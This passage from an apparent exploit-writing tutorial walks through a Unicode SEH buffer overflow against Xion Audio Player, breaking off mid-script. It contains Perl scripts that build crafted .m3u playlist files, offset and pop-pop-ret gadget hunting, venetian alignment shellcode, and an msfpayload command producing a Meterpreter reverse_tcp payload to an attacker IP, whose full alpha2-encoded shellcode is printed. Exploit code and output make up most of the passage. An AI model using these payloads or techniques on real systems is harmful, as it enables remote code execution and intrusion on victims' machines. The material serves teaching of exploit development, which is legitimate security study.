<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55&quot;</span><span style="color: #339933;">;</span>                <span style="color: #666666; font-style: italic;">#push ebp</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>            <span style="color: #666666; font-style: italic;">#align</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">;</span>            <span style="color: #666666; font-style: italic;">#pop eax</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>            <span style="color: #666666; font-style: italic;">#align</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#add eax,0x11001400</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>            <span style="color: #666666; font-style: italic;">#align</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2d<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#sub eax,0x11001100</span>
<span style="color: #0000ff;">$align</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$align</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>            <span style="color: #666666; font-style: italic;">#align</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jump</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push eax</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6d&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$jump</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$jump</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#ret</span></pre></div></div>

<p>However, even if you add 100 bytes to eax register unfortunately the shellcode will not be found after exactly 100 bytes.<br />
So you need to modify one of the register and use some padding to put the shellcode exactly where it needs to be. In the end when the jump is made the eax points at the decoder (of the shellcode).</p>
<p>We will see better with the SEH example.</p>
<p><strong><a name="jump">JUMP EXAMPLE</a></strong><br />
Let’s assume that you have found an address that will make the jump (to esp for example). Let’s assume that the address is 0x005E0018. This address does not contain characters that have a hex value &gt; 7f.  So the address should be fine.<br />
So instead of overwriting EIP with pack(‘V’,0x005E0018), you have to overwrite EIP with  5E 18, because you are in Unicode environment. Unicode adds null bytes in front of 5E, and between 5E and 18, so EIP will be overwritten with 005e0018:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">500</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>5e&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">;</span></pre></div></div>

<p>Now you have to calculate the offset in the same way of the <a href="http://www.manzotti.eu/tutorial-write-an-exploit-part-1-jmp-to-esp">tutorial 1</a> and overwrite the eip with the address which points to the jump. In the end you have to write shellcode in Unicode compatible.</p>
<p><strong><a name="seh">SEH EXAMPLE</a></strong><br />
To write an Unicode exploit compatible under Win7 which exploits the SEH technique that we have seen in <a href="http://www.manzotti.eu/tutorial-write-an-exploit-part-3-seh">tutorial 3</a>, we’ll use <a href="http://www.exploit-db.com/application/9851/">Xion Audio Player vers. 1.0 build 121</a>, a simple music player.</p>
<p>As first step you check that the tool after the bof allows you to exploit the SEH technique. Let’s attach the application to Ollydbg or Immunity Debbuger and run the binary. Then right-click on the gui, choose “playlist” and go to “File” &#8211; “Load Playlist” and load the file generated by the following script:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crash</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span>x5000<span style="color: #339933;">;</span>
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;DragonR.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$crash</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[+] DragonR.m3u Created<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>After that the application is crashed you check the SEH address on “View” &#8211; “SEH chain”:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-0.png"><img class="aligncenter size-full wp-image-2270" title="Image 0" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-0.png" alt="" width="252" height="65" /></a></p>
<p>The address is 00410041 and it means that the application is Unicode type:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-1.png"><img class="aligncenter size-full wp-image-2271" title="Image 1" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-1.png" alt="" width="266" height="55" /></a></p>
<p>Now as in a normal exploit you have to calculate the offset. Let’s generate the offset with Metasploit script and you insert it the code. After that we leave the application to crash and you check under the debugger what is happened:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$crash</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;Aa0Aa1Aa2Aa...&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;DragonR2.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$crash</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[+] DragonR.m3u Created<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>So with Ollydbg you go to “View SEH” and copy the address 0012F254:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-1.png"><img class="aligncenter size-full wp-image-2273" title="Immagine 1" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-1.png" alt="" width="176" height="67" /></a></p>
<p>Dopo andiamo clickiamo su &#8220;Go to expression&#8221;, incolliamo l&#8217;indirizzo 0012F254 appena trovato, e controlliamo il dump ( tasto destro &#8220;Follow in dump&#8221;):</p>
<p>After that you click on “Go expression” and paste the address just found and check the dump (right click and “Follow in dump”):</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-2.png"><img class="aligncenter size-full wp-image-2274" title="Immagine 2" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-2.png" alt="" width="250" height="52" /></a></p>
<p>Since the Unicode adds “00” and we are in little endian environment, in order to calcUlate the offset you need to delete the “00” and read the address on the contrary 0&#215;69413069. So the offset will be of 241 bytes (in my case):</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# pattern_offset 0x69413069 5000
241</pre></div></div>

<p>In order to have a verification of our calculus we can immediately overwrite 241 bytes the seh with “CC” and the nseh with “BB”:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$totalsize</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">241</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;BB&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;CC&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span> x <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">-</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;corelantest.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$payload</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Wrote &quot;</span><span style="color: #339933;">.</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$payload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot; bytes<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Let’s run the application again and check that our calculus about offset are right both into dump:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-4.png"><img class="aligncenter size-full wp-image-2276" title="Immagine 4" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-4.png" alt="" width="252" height="51" /></a></p>
<p>and into stack:<br />
<a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-5.png"><img class="aligncenter size-full wp-image-2277" title="Immagine 5" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-5.png" alt="" width="286" height="48" /></a></p>
<p>Great! The nseh has been overwritten by the  “B” and the seh by “C” just like we wanted. Now just like in an exploit seh type you need to overwrite a location which points to a pop pop ret. As we are in Unicode environment this address must be Unicode compatible. To do this you’ll use a script for Immunity Debbuger called <a href="http://redmine.corelan.be:8800/projects/pvefindaddr">pvefindaddr</a><br />
After you have installed the plugin let&#8217;s open Immunity Debugger and load xion.exe in the debugger. Run the application, go to the playlist dialog, select “File”, “Load Playlist” but don’t load the playlist file. Then in the console of Immunity Debugger you run the plugin:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">!pvefindaddr p2</pre></div></div>

<p>Pvefindaddr will write in a file, ppr2.txt, all pop pop ret Unicode compatible:<br />
<a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-7.png"><img class="aligncenter size-full wp-image-2283" title="Immagine 7" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-7.png" alt="" width="673" height="207" /></a></p>
<p>Now you can replace the “CC” in the exploit with the ppr unicode compatible address 00450015 just found and check with a breakpoint if the application reaches that address or not:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$totalsize</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">241</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nseh -&gt; 00410041</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#put 00450015 in SE Handler</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span> x <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">-</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;unicode2.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$payload</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Wrote &quot;</span><span style="color: #339933;">.</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$payload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot; bytes<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If you run the application you notice that the pop pop ret is reached:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-8.png"><img class="aligncenter size-full wp-image-2284" title="Immagine 8" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-8.png" alt="" width="493" height="30" /></a></p>
<p>After that you can see that the eip points to the nseh:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-9.png"><img class="aligncenter size-full wp-image-2285" title="Immagine 9" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-9.png" alt="" width="491" height="46" /></a></p>
<p>Then if you check the dump of 0012F254 address you notice that the shellcode “D” is immediately next the seh and nseh address:<br />
<a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-10.png"><img class="aligncenter size-full wp-image-2286" title="Immagine 10" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-10.png" alt="" width="253" height="70" /></a></p>
<p>So you need a way to reach the shellcode. In a common seh exploit a short jump “\xeb\x06\x90\x90” is sufficient but you are in Unicode so you need some safe instructions popad + nop align (such as NOPs), that will allow you to align the null bytes without doing any harm to the registers or instructions:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$totalsize</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">241</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>62&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nseh -&gt; popad + nop/align</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#put 00450015 in SE Handler</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span> x <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">-</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$payload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$junk</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$nseh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$seh</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$morestuff</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #339933;">,</span><span style="color: #ff0000;">'&gt;unicode4.m3u'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> myfile <span style="color: #0000ff;">$payload</span><span style="color: #339933;">;</span>
<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span>myfile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Wrote &quot;</span><span style="color: #339933;">.</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$payload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot; bytes<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>First you set a breakpoint to 00450015 and check what happens:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-6.png"><img class="aligncenter size-full wp-image-2281" title="Immagine 6" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-6.png" alt="" width="398" height="87" /></a></p>
<p>As you can see from the next picture you have reached the target because you have overwritten the SE structure, crafted the eip with a pop pop ret and simulated a short jump with popad instruction:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-11.png"><img src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-11.png" alt="" title="Immagine 11" width="352" height="74" class="aligncenter size-full wp-image-2299" /></a></p>
<p>Now the challenge is to write a working exploit. You can not put the encoded shellcode here, because the decoder needs to have a register that points at itself. If you look at the current register values you can see there are a lot of registers that point almost at the current location but none of them points directly at the current location 0012F25D:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-12.png"><img src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-12.png" alt="" title="Immagine 12" width="174" height="95" class="aligncenter size-full wp-image-2300" /></a></p>
<p>So you need to modify one of the registers, and use some padding to put the shellcode exactly where it needs to be.</p>
<p>But before you have to generate a shellcode which uses the register eax with alpha2.<br />
What you need to do is to point eax at the location that points at the first byte of our decoder (encoded shellcode) and then jump to eax:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:/pentest/exploits/encoder# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.6 R &gt; reverse_tcp.raw
root@bt:/pentest/exploits/encoder# ./alpha2 eax --unicode --uppercase &lt; reverse_tcp.raw
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLZHDIM0KPKP304IYUP19BRDTK0RNP4K1BLL4K22N4TKBRNHLOVWOZO601KONQWPVLOLQQCLKRNLO091HOLMKQXGK2ZP1BQG4KQBLPTKOROLKQJ0TKOP48DEGPT4OZKQHPPPTKQ8MHTKR8MPKQ8SK3OLPIDKNTTKKQ8VP1KOP17PFLY18OLMKQXGNXK03EJTKSSMKHOKSMMTD59RPX4KB8O4M1J336TKLLPK4KPXMLKQZ3TKKT4KM1XPTIOTMTMTQKQKQQQIQJR1KOYPR8QOPZDKMBZKCVQMQXOCNRKPM0QXRW3COBQOPTQXPLCGO6M7KOXUVXF0KQKPM0O9WTPTPP38NISP2KM0KO9EPP20B020OPPPOPPPQX9ZLOIO9PKOYE672JM5BH7PUXKQLFBHLBM0LQ1LU9K6QZLPPVR7QXTYEU44S1KO9ETEWPBTLLKOPNLHRUZL2HZP7E72PVKOXUQZKPQZKTPVPWQXLBHYWXQOKOJ54KNVRJOPS8M0LPM0KPQFQZM01XPX5T1C9UKOXUDSPSBJKP0VR31GQXM2YI8HQOKO8UKQI3MY96U5KFBUJLGSKZA</pre></div></div>

<p>Later you have a look to the registers you can put ebp in eax and then add a small number of bytes so you jump over the code that is needed to point eax to the decoder and jump to it.</p>
<p>So the idea is to put ebp in eax and add 100 bytes so that the eax will point to 0012F354:<br />
Current EBP = 0012F254 + 100 Bytes = 0012F354:<br />
In this way the ebp will point to D:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-14.png"><img src="http://www.manzotti.eu/wp-content/uploads/2010/11/Immagine-14.png" alt="" title="Immagine 14" width="265" height="340" class="aligncenter size-full wp-image-2303" /></a></p>
<p>In order to put ebp+100 into eax, and to jump to eax, you need the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">push ebp
pop eax
add eax,0x11001400
sub eax,0x11001300
&nbsp;
push eax
ret</pre></div></div>

<p>After applying the venetian shellcode technique the code will be :</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#we need the first D</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#push ebp</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop eax</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#add eax,0x11001400</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2d<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>11&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#sub eax,0x11001300</span>
<span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#pop/align</span></pre></div></div>

<p>So the jump will be:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$totalsize</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junk</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;A&quot;</span> x <span style="color: #cc66cc;">241</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nseh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>62&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#nseh -&gt; popad + nop/align</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$seh</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#put 00450015 in SE Handler</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$preparestuff</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;D&quot;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#we need the first D</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#put ebp in eax and then add 100 bytes</span>
